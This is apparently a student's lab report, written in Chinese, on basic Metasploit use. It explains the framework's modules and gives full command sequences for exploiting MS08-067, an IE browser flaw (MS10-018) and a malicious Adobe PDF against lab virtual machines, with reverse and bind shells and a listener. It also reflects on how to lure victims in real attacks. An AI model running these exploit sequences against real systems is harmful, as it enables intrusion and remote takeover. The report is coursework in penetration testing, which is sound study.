20184307章森洋《網絡對抗技術》Exp6 MSF基礎應用
基礎知識
MSF的六種模塊
-
Exploit模塊
是利用發現的安全漏洞或配置弱點對遠程目標系統進行攻擊,以植入和運行攻擊載荷,從而獲得對遠程目標系統訪問權的代碼組件。
形象點來說就是攻擊模塊 -
Payload模塊
是在滲透成功后促使目標系統運行的一端植入代碼,通常作用是為滲透攻擊者打開在目標系統上的控制會話連接。實際上,該模塊就是計算機集成的針對不同操作系統實現shellcode攻擊的ruby代碼。
三種 payload:/usr/share/metasploit-framework/modules/payloads/
Single:all-in-one
Stager:目標計算機內存有限時,先傳輸一個較小的 payload 用于建立連接
Stages:利用 stager 建立的連接下載的后續payload -
Encoder模塊
針對payload進行編碼,可以通過多種編碼手段、多次編碼方式有效的改變payload代碼特征
不改變payload作用,但能對payload進行加工 -
Aux模塊
能夠幫助滲透測試中在進行滲透攻擊之前得到的目標系統豐富的情報信息,從而發起更具目標性的精準攻擊。
主要包括針對各種網絡服務的掃描和查點、構建虛假服務收集登錄密碼、口令猜測破解、敏感信息嗅探、探查敏感信息泄露、Fuzz測試發掘漏洞、實施網絡協議欺騙等模塊。 -
Post模塊
支持在滲透攻擊取得目標系統遠程控制權之后,在受控系統中進行給各樣的后滲透攻擊動作。
這里主要指的是攻擊之后可能用到的模塊 -
Nops模塊
是一些對程序運行狀態不會造成任何實質影響的空操作或無關操作指令,最典型的空指令就是空操作,在X86 CPU體系架構平臺上的操作碼是0x90
因為有些代碼返回地址很難確認,所以在實際中有時候會填充一大段空指令,便于快速確定返回地址的位置
核心命令
banner 顯示一個很棒的metasploit橫幅
cd 更改當前工作目錄
color 切換顏色
connect 與主機通信
exit 退出控制臺
get 獲取特定于上下文的變量的值
getg 獲取全局變量的值
grep 管道另一個命令的輸出
help 幫助菜單
history 顯示命令歷史記錄
load 加載框架插件
quit 退出控制臺
repeat 重復命令列表
route 通過會話路由流量
save 保存活動數據存儲
sessions 轉儲會話列表并顯示有關會話的信息
set 將特定于上下文的變量設置為
setg 將全局變量設置為值
sleep 在指定的秒數內不執行任何操作
spool 將控制臺輸出寫入文件以及屏幕
threads 查看和操作后臺線程
unload 卸載框架插件
unset 取消設置一個或多個特定于上下文的變量
unsetg 取消設置一個或多個全局變量
version 顯示框架和控制臺庫版本號
實驗過程
本實踐目標是掌握metasploit的基本應用方式,重點常用的三種攻擊方式的思路。
一個主動攻擊實踐
ms08_067
攻擊機: kali 192.168.220.128 靶機 win2000professional 192.168.220.131
在攻擊機里面打開msf模式,輸入use exploit/windows/smb/ms08_067_netapi
show payloads
set payload generic/shell_reverse_tcp//實現tcp反向連接
set LHOST 192.168.220.128 //設置攻擊機的ip地址
set LPORT 4307//設置端口
set RHOST 192.168.220.131//設置靶機ip
set target 0 //自動選擇目標系統類型,匹配度較高
exploit//攻擊

攻擊成功后,輸入ver就可以查看win2000的版本

一個針對瀏覽器的攻擊
ms10_018
攻擊機 kali 192.168.220.128 靶機 winxp 192.168.220.130
在kali終端輸入cd /usr/share/metasploit-framework/modules/exploits,即進入滲透攻擊模塊所在的目錄,然后進入Windows目錄,需要對瀏覽器進行攻擊,所以再進入browser目錄,此時看到的.rb后綴的文件都是可以進行的針對瀏覽器的攻擊操作。

這里我們選擇ms10_018_ie_behaviors,輸入vim ms10_018_ie_behaviors.rb查看詳情信息。可以看到對靶機的要求是win NT,2000,XP,2003,Vista上的IE6或IE7。

現在我們就可以對靶機的瀏覽器進行攻擊了。
在msf模式下輸入use windows/browser/ms10_018_ie_behaviors
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.220.130
exploit

從圖中可以看出它生成了一個網址:http://192.168.220.128:8080/EL3bQ5wPrG
在winxp中輸入這個網址,可以看到已經成功遷移services.exe

針對客戶端的攻擊
Adobe

在msf模式下,依次輸入一下命令
use windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.241.134
set LPORT 4307
set FILENAME 20184307.pdf//設置pdf文件名字
exploit
然后經生成的文件拷到靶機上,在kali上輸入back退出當前模塊,進入監聽模塊
use exploit/multi/handler
set LHOST 192.168.0.105 //攻擊機ip
set LPORT 4307 //攻擊端口固定
exploit

回連成功
成功應用任何一個輔助模塊
首先利用show auxiliary,查看輔助模塊

我選擇的是scanner/dns/dns_amp,掃描dns
輸入show options,查看配置

進行監聽

回答的問題
1.用自己的話解釋什么是exploit,payload,encode.
exploit:它的意思是滲透,在執行攻擊時,我感覺exploit指令就像run或是start一樣,先對選項進行設置,設置成完成之后就可以輸入exploit指令開始攻擊
payload:意思是載荷,就是每次攻擊都需要設置他們的payload,而且某些攻擊有特定的payload,如果不匹配就不能成功攻擊
encode:就是編碼,可以通過編碼來消除類似0x00一樣的壞字符。在終端中輸入cd /usr/share/metasploit-framework/modules/encoders進入編碼模塊的目錄,再輸入ls就能看到可用的編碼方式了。
2.離實戰還缺些什么技術或步驟?
通過這次實驗,我發現實戰攻擊有以下幾個難點:
對靶機的版本要求特別高,不管是系統版本還是軟件的版本,如何確保靶機的版本符合攻擊的要求需要考慮
例如瀏覽器攻擊,如何誘導被攻擊者在IE中輸入特定的網址
例如客戶端攻擊,如何將生成的pdf或是pcap文件植入到靶機中,并讓被攻擊者運行。
實驗體會
本次實驗難點主要在靶機的版本上,由于每個攻擊版本要求不同,每次攻擊時都需要下不同的鏡像還有軟件,比較費時費力。實驗中還是遇到挺多問題的,不過在老師還有同學的幫助下都一一解決了,完成了實驗,也找到了和別人不一樣的攻擊方法,對MSF的應用更加熟練,收獲頗深。

浙公網安備 33010602011771號